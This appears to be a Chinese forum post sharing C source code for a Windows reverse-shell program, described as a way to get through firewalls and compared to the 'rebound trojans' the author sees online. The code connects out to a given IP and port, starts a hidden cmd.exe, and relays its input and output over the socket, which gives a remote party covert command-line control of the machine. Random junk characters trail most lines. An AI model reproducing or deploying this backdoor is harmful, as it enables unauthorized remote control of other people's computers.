这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3!}#@<j
&/zsIx+
/* ============================== 77
`/YE#M
Rebound port in Windows NT c^=:]^
By wind,2006/7 >?DrC /
===============================*/ NKMB,b
#include wHY;Y-(ZT
#include e)iVX<qb
u.arkp
#pragma comment(lib,"wsock32.lib") OC[a?#R1
HKh)T$IZM
void OutputShell(); pkT
a^I
SOCKET sClient; i@p?.%K{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hyBSS,I
; w+A38N$J
void main(int argc,char **argv) ;WzT"yW)T
{ `hfwZ*s
WSADATA stWsaData; H,?MG
int nRet; : i(h[0
SOCKADDR_IN stSaiClient,stSaiServer; z;3}GxE-si
z* `81
if(argc != 3) ,fNiZ
{ O+e8}Tmm
printf("Useage:\n\rRebound DestIP DestPort\n"); \
0CGS
return; G)putk@
} S1=c_!q%9
r|P4|_No
WSAStartup(MAKEWORD(2,2),&stWsaData); dxU[>m;
l p? h~
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H`".L^
2.x3^/
stSaiClient.sin_family = AF_INET; l9<+4rK2
stSaiClient.sin_port = htons(0); 0? l
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Fq{nc]L6
jK{CjfCNz
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) PEBQ|k8g&
{ w|M?t{
printf("Bind Socket Failed!\n"); S=my;M-
return; z1L.
} <oeHZD_OR
VVf~ULZ-
stSaiServer.sin_family = AF_INET; g$:2c7uL
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \q,w)BE
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `S.;&%B\
qS7*.E~j|]
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) A]n!d}?
{ #{]=>n)j
printf("Connect Error!"); JD'/m
hN0
return; !k[zUti
} M35}5+
OutputShell(); >DV0!'jW
} aTPpE9Pa&
@ce4sSo
void OutputShell() 0W>O,%z&P#
{ k"n#4o:
char szBuff[1024]; \t1vYIY]T
SECURITY_ATTRIBUTES stSecurityAttributes; Ig6s'^
OSVERSIONINFO stOsversionInfo; Ge
@d"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U}
g%`<
STARTUPINFO stStartupInfo; omY?`(=
char *szShell; D QZS%)
PROCESS_INFORMATION stProcessInformation; !<~Ig/
unsigned long lBytesRead; CZ0 {*K:
> Euput\
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qNvKlwR9;k
R8?A%yxf
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `&+L/
stSecurityAttributes.lpSecurityDescriptor = 0; 8pk5[=3Z
stSecurityAttributes.bInheritHandle = TRUE; U?}Ma f
+wio:==
?Z.YJXoKZ
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); JlH|=nIaj6
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }KOu
WTd})
s
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `|v#x@s
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &"CS1P|
stStartupInfo.wShowWindow = SW_HIDE; ck^Z,AKL+
stStartupInfo.hStdInput = hReadPipe; 6Z'zB&hM}
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; me9RnPe:
)WzCUYE 1/
GetVersionEx(&stOsversionInfo); >U}~Hv]
w68qyG|wM
switch(stOsversionInfo.dwPlatformId) Tq?W @DM*
{ q`\lvdl
case 1: 8cd,SQ}y
szShell = "command.com"; BpKP]V
break; k'\RS6M`L
default: kC#;j=K?
szShell = "cmd.exe"; v<-D>iJ
break; |UBJu `%
} ROfmAc
.Kv@p jOr
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x~mXtqg
%?cPqRHJ ~
send(sClient,szMsg,77,0); "JGaw_o
while(1)
bhgh
]{
{ 8(+X0}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Psv-y
if(lBytesRead) )/=J=xw2
{ Cz(Pj S
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R52!pB0[
send(sClient,szBuff,lBytesRead,0); Eod2vr=Q
} oL~Yrb%R
else 6suc0
{ jG/kT5S
lBytesRead=recv(sClient,szBuff,1024,0); InDR\=o
if(lBytesRead<=0) break; N7e^XUG
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?K]k(ZV_+Y
} xNONf4I:6J
} 4C2 Dwj
NN$`n*;l
return; WRnUF[y+)
}